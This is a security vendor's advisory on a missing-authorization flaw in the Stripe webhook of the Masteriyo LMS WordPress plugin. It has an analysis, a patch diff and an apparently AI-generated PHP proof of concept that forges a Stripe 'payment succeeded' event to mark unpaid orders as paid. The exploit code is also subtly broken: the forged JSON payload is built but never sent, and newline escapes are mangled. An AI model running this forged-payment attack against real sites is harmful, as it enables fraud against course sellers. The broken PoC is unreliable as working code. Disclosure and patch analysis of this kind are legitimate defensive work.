Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-39524: Masteriyo LMS – Online Course Builder for eLearning, LMS & Education <= 2.1.5 – Missing Authorization (learning-management-system)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.1.5
Patched Version 2.1.6
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39524:
The Masteriyo LMS plugin for WordPress contains a missing authorization vulnerability in its Stripe webhook handler. This vulnerability allows unauthenticated attackers to trigger Stripe payment processing events, potentially modifying order statuses without proper validation. The CVSS score of 5.3 reflects a moderate impact due to the specific conditions required for exploitation.

Atomic Edge research identified the root cause in the `handle_webhook()` function within `/learning-management-system/addons/stripe/StripeAddon.php`. The function processes Stripe webhook events without verifying the request originates from Stripe’s infrastructure. The vulnerability manifests in lines 567-594 where the code conditionally validates the `Stripe-Signature` header only when a webhook secret is configured. When no secret exists, the plugin accepts any JSON payload as a valid Stripe event without authentication checks.

Exploitation requires sending a POST request to the WordPress admin-ajax.php endpoint with the `action` parameter set to `masteriyo_stripe_webhook`. Attackers can craft malicious JSON payloads mimicking Stripe event objects, particularly targeting order status transitions. The payload must include an `id` field matching the Stripe event format and a `type` field specifying the event type (e.g., `payment_intent.succeeded`). No authentication or nonce is required.

The patch in version 2.1.6 restructures the webhook validation logic. Atomic Edge analysis shows the fix introduces proper error handling when the `Stripe-Signature` header is missing while a webhook secret exists. The code now logs warning messages when no secret is configured and initializes the `$order` variable earlier to prevent undefined variable errors. The validation flow now consistently uses `StripeWebhook::constructEvent()` when secrets are present, ensuring cryptographic verification of the payload signature.

Successful exploitation allows attackers to manipulate order statuses within the LMS system. Attackers could mark unpaid orders as completed, trigger refund events, or disrupt payment processing workflows. While this does not directly expose sensitive data or enable remote code execution, it undermines the integrity of the e-commerce system and could lead to financial discrepancies or unauthorized course access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learning-management-system/addons/elementor-integration/Helper.php
+++ b/learning-management-system/addons/elementor-integration/Helper.php
@@ -629,14 +629,6 @@
 								'isLocked'   => false,
 								'settings'   => array(),
 								'elements'   => array(),
-								'widgetType' => 'masteriyo-course-archive-view-mode',
-							),
-							array(
-								'elType'     => 'widget',
-								'isInner'    => false,
-								'isLocked'   => false,
-								'settings'   => array(),
-								'elements'   => array(),
 								'widgetType' => 'masteriyo-course-list',
 							),
 							array(
--- a/learning-management-system/addons/stripe/StripeAddon.php
+++ b/learning-management-system/addons/stripe/StripeAddon.php
@@ -20,6 +20,7 @@
 use StripeAccount;
 use StripeExceptionUnexpectedValueException;
 use StripeExceptionSignatureVerificationException;
+use StripeWebhook;

 defined( 'ABSPATH' ) || exit;

@@ -567,6 +568,7 @@
 			$sig_header     = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null;
 			$payload        = @file_get_contents( 'php://input' ); // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
 			$event          = null;
+			$order          = null;
 			$webhook_secret = Setting::get_webhook_secret();

 			if ( empty( $payload ) ) {
@@ -574,11 +576,11 @@
 				throw new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 );
 			}

-			if ( empty( $sig_header ) || empty( $webhook_secret ) ) {
-				$event = StripeEvent::constructFrom(
-					json_decode( $payload, true )
-				);
-			} else { // phpcs:ignore Universal.ControlStructures.DisallowLonelyIf.Found
+			if ( ! empty( $webhook_secret ) ) {
+				if ( empty( $sig_header ) ) {
+					masteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) );
+					throw new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 );
+				}

 				/**
 				 * Filters whether to validate the webhook secret or not.
@@ -586,12 +588,13 @@
 				 * @since 1.14.0
 				 */
 				if ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) {
-					$event = StripeEvent::constructFrom(
-						json_decode( $payload, true ),
-						$sig_header,
-						$webhook_secret
-					);
+					$event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret );
+				} else {
+					$event = StripeEvent::constructFrom( json_decode( $payload, true ) );
 				}
+			} else {
+				masteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) );
+				$event = StripeEvent::constructFrom( json_decode( $payload, true ) );
 			}

 			if ( ! $event ) {
@@ -618,16 +621,20 @@
 			wp_send_json_success( $result );
 		} catch ( UnexpectedValueException $e ) {
 			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
-			$order->add_order_note(
-				esc_html__( 'Stripe invalid event type.', 'learning-management-system' )
-			);
+			if ( $order ) {
+				$order->add_order_note(
+					esc_html__( 'Stripe invalid event type.', 'learning-management-system' )
+				);
+			}

 			wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );
 		} catch ( SignatureVerificationException $e ) {
 			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
-			$order->add_order_note(
-				esc_html__( 'Stripe webhook signature verification failed.', 'learning-management-system' )
-			);
+			if ( $order ) {
+				$order->add_order_note(
+					esc_html__( 'Stripe webhook signature verification failed.', 'learning-management-system' )
+				);
+			}

 			wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );
 		} catch ( Exception $e ) {
--- a/learning-management-system/lms.php
+++ b/learning-management-system/lms.php
@@ -5,7 +5,7 @@
  * Description: A Complete WordPress LMS plugin to create and sell online courses in no time.
  * Author: Masteriyo
  * Author URI: https://masteriyo.com
- * Version: 2.1.5
+ * Version: 2.1.6
  * Requires at least: 6.5
  * Requires PHP: 7.4
  * Text Domain: learning-management-system
@@ -46,7 +46,7 @@
 }

 if ( ! defined( 'MASTERIYO_VERSION' ) ) {
-	define( 'MASTERIYO_VERSION', '2.1.5' );
+	define( 'MASTERIYO_VERSION', '2.1.6' );
 }

 if ( ! defined( 'MASTERIYO_PLUGIN_FILE' ) ) {
--- a/learning-management-system/uninstall.php
+++ b/learning-management-system/uninstall.php
@@ -20,7 +20,7 @@
 defined( 'WP_UNINSTALL_PLUGIN' ) || exit;

 defined( 'MASTERIYO_SLUG' ) || define( 'MASTERIYO_SLUG', 'learning-management-system' );
-defined( 'MASTERIYO_VERSION' ) || define( 'MASTERIYO_VERSION', '2.1.5' );
+defined( 'MASTERIYO_VERSION' ) || define( 'MASTERIYO_VERSION', '2.1.6' );
 defined( 'MASTERIYO_PLUGIN_FILE' ) || define( 'MASTERIYO_PLUGIN_FILE', __FILE__ );
 defined( 'MASTERIYO_PLUGIN_BASENAME' ) || define( 'MASTERIYO_PLUGIN_BASENAME', plugin_basename( MASTERIYO_PLUGIN_FILE ) );
 defined( 'MASTERIYO_PLUGIN_DIR' ) || define( 'MASTERIYO_PLUGIN_DIR', dirname( MASTERIYO_PLUGIN_FILE ) );
--- a/learning-management-system/vendor/composer/installed.php
+++ b/learning-management-system/vendor/composer/installed.php
@@ -1,8 +1,8 @@
 <?php return array(
     'root' => array(
         'name' => 'masteriyo/masteriyo',
-        'pretty_version' => '2.1.5',
-        'version' => '2.1.5.0',
+        'pretty_version' => '2.1.6',
+        'version' => '2.1.6.0',
         'reference' => null,
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
@@ -110,8 +110,8 @@
             'dev_requirement' => false,
         ),
         'masteriyo/masteriyo' => array(
-            'pretty_version' => '2.1.5',
-            'version' => '2.1.5.0',
+            'pretty_version' => '2.1.6',
+            'version' => '2.1.6.0',
             'reference' => null,
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39524 - Masteriyo LMS – Online Course Builder for eLearning, LMS & Education <= 2.1.5 - Missing Authorization

<?php

$target_url = "https://vulnerable-site.com/wp-admin/admin-ajax.php";

// Craft malicious Stripe webhook payload
$payload = json_encode([
    'id' => 'evt_malicious_'.uniqid(),
    'object' => 'event',
    'api_version' => '2023-10-16',
    'created' => time(),
    'data' => [
        'object' => [
            'id' => 'pi_malicious_'.uniqid(),
            'object' => 'payment_intent',
            'amount' => 9999,
            'currency' => 'usd',
            'status' => 'succeeded'
        ]
    ],
    'livemode' => false,
    'pending_webhooks' => 1,
    'request' => ['id' => null],
    'type' => 'payment_intent.succeeded'
]);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'masteriyo_stripe_webhook'
]);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Stripe-Signature: v1=malicious_signature' // Optional - plugin may accept any value
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200) {
    echo "[+] Vulnerability confirmed! Server returned 200 OKn";
    echo "[+] Response: ".$response."n";
} else {
    echo "[-] Request failed with HTTP code: ".$http_code."n";
    echo "[-] Response: ".$response."n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School